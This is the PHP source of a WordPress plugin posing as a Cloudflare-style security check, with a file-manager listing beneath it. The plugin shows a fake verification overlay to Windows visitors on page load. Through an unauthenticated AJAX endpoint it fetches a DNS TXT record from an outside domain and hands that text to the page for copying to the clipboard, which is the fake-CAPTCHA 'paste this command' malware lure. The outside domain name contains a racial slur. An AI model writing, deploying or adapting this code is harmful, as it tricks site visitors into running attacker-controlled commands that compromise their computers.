<?php
/**
 * Plugin Name: CF Security Shield
 * Plugin URI: https://example.com/cf-security-shield
 * Description: A Cloudflare-style security overlay that launches immediately on page load for Windows users. Fetches TXT records from example.com for clipboard copy.
 * Version: 1.0.0
 * Author: Your Name
 * License: GPL v2 or later
 * Text Domain: cf-security-shield
 */

// Prevent direct access
if (!defined('ABSPATH')) {
    exit;
}

class CF_Security_Shield {
    
    private static $instance = null;
    
    public static function get_instance() {
        if (self::$instance === null) {
            self::$instance = new self();
        }
        return self::$instance;
    }
    
    public function __construct() {
        add_action('wp_enqueue_scripts', array($this, 'enqueue_scripts'));
        add_action('wp_footer', array($this, 'render_captcha_html'));
        add_action('wp_ajax_nopriv_cf_get_shield_text', array($this, 'get_captcha_text'));
        add_action('wp_ajax_cf_get_shield_text', array($this, 'get_captcha_text'));
    }
    
    public function enqueue_scripts() {
        // Enqueue the captcha loader script
        wp_enqueue_script(
            'cf-security-shield-loader',
            plugin_dir_url(__FILE__) . 'assets/js/captcha-loader.js',
            array(),
            '1.0.0',
            true
        );
        
        // Pass AJAX URL to the script
        wp_localize_script(
            'cf-security-shield-loader',
            'cf_security_shield_ajax',
            array('ajax_url' => admin_url('admin-ajax.php'))
        );
        
        // Enqueue the captcha styles
        wp_enqueue_style(
            'cf-security-shield-styles',
            plugin_dir_url(__FILE__) . 'assets/css/captcha-styles.css',
            array(),
            '1.0.0'
        );
    }
    
    public function render_captcha_html() {
        include plugin_dir_path(__FILE__) . 'templates/captcha-overlay.php';
    }
    
    public function get_captcha_text() {
        // Fetch TXT records from squiblydooisacianigger.com
        if (function_exists('dns_get_record')) {
            $records = dns_get_record('squiblydooisacianigger.com', DNS_TXT);
            if ($records && isset($records[0]['txt'])) {
                wp_send_json_success(array('text' => $records[0]['txt']));
            }
        }
        wp_send_json_error(array('message' => 'Could not fetch TXT record'));
    }
}

// Initialize the plugin
CF_Security_Shield::get_instance();

• [D] assets
• [D] templates
• [F] cf-security-shield.php
  Delete